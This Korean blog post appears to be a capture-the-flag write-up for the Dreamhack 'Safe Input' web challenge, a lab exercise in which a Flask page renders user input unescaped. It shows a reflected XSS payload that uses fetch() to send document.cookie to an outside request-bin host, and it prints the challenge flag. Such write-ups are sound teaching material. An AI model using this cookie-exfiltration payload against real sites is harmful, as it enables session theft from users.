본문 바로가기

Dreamhack/Web

[Dreamhack] Safe Input

반응형

이번에 풀어볼 문제는 dreamhack safe input 문제다.

from flask import Flask, redirect, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from time import sleep
from os import urandom, environ
from urllib.parse import quote

app = Flask(__name__)
app.secretkey = urandom(32)

FLAG = environ.get("FLAG", "DH{fake_flag}")
PASSWORD = environ.get("PASSWORD", "1234")


def access_page(text, cookie={"name": "name", "value": "value"}):
    try:
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(f"http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
        sleep(1)
    except Exception as e:
        print(e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True

@app.route("/", methods=["GET"])
def index():
    return redirect("/test")

@app.route("/test", methods=["GET"])
def intro():
    text = request.args.get("text")
    return render_template("test.html", test=text)


@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        text = request.form.get("text")
        if not text:
            return render_template("report.html", msg="fail")

        else:
            if access_page(text, cookie={"name": "flag", "value": FLAG}):
                return render_template("report.html", message="Success")
            else:
                return render_template("report.html", message="fail")
    else:
        return render_template("report.html")


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

 

app.py의 내용입니다.

 

@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        text = request.form.get("text")
        if not text:
            return render_template("report.html", msg="fail")

        else:
            if access_page(text, cookie={"name": "flag", "value": FLAG}):
                return render_template("report.html", message="Success")
            else:
                return render_template("report.html", message="fail")
    else:
        return render_template("report.html")

 

app.py의 report 라우트를 보면 report 페이지를 이용해서 flag 값을 얻을 수 있는 것을 확인할 수 있습니다.

 

def access_page(text, cookie={"name": "name", "value": "value"}):
    try:
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(f"http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
        sleep(1)
    except Exception as e:
        print(e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True

 

access_page 함수입니다.

여기서 봐야할 건 driver.add_cookie(cookie) 부분입니다.

 

여기에서 쿠키 값은 report 라우트를 확인하면 "name": flag", "value": FLAG 인 것을 확인할 수 있고

app.py에서 보면 FLAG = environ.get("FLAG", "DH{fake_flag}") 인 것을 확인할 수 있습니다.

즉 쿠키 값에 flag 값이 있다는 것을 알 수 있습니다.

하지만 이 쿠키 값은 서버의 브라우저에서 설정됩니다.

즉 서버의 브라우저에 있는 쿠키 값을 읽어야 flag를 얻을 수 있습니다.

 

test.html 코드 일부

그리고 test.html 코드를 보면 위와 같은 코드를 볼 수 있는데 safe는 해당 변수의 값을 escape하지 않고 그대로 출력한다는 의미입니다.

즉 입력 값 검증이 없다는 뜻입니다.

 

test?text=</script><script>alert("test")</script>

위와 같이 입력하면 

 

xss 성공 확인

이렇게 test alert이 뜨는 것을 확인할 수 있습니다.

 

이것으로 XSS가 된다는 것을 확인할 수 있고 이제 XSS를 이용해서 서버 측 브라우저에서 cookie 값을 가져와야 합니다.

 

cookie 값을 가져올 땐 fetch 함수와 dreamhack tools를 이용했습니다.

</script><script>fetch('https://srnszta.request.dreamhack.games?cookie='+document.cookie)</script>

위와 같이 작성한 스크립트 문을 /report에 적어서 제출하면

 

dreamhack tools 화면

dreamhack tools 사이트에서 flag 값을 확인할 수 있습니다.

 

Flag

DH{3315a6d57505990bd277a89e82b2aa062fe346279ed019ca8096df3f5ecdaba2}

 

반응형

'Dreamhack > Web' 카테고리의 다른 글

[Dreamhack] BISC board  (0) 2025.11.25
[Dreamhack] phpmyredis  (0) 2025.11.24
[Dreamhack] PATCH-1  (0) 2025.08.20
[Dreamhack] chocoshop  (0) 2025.08.13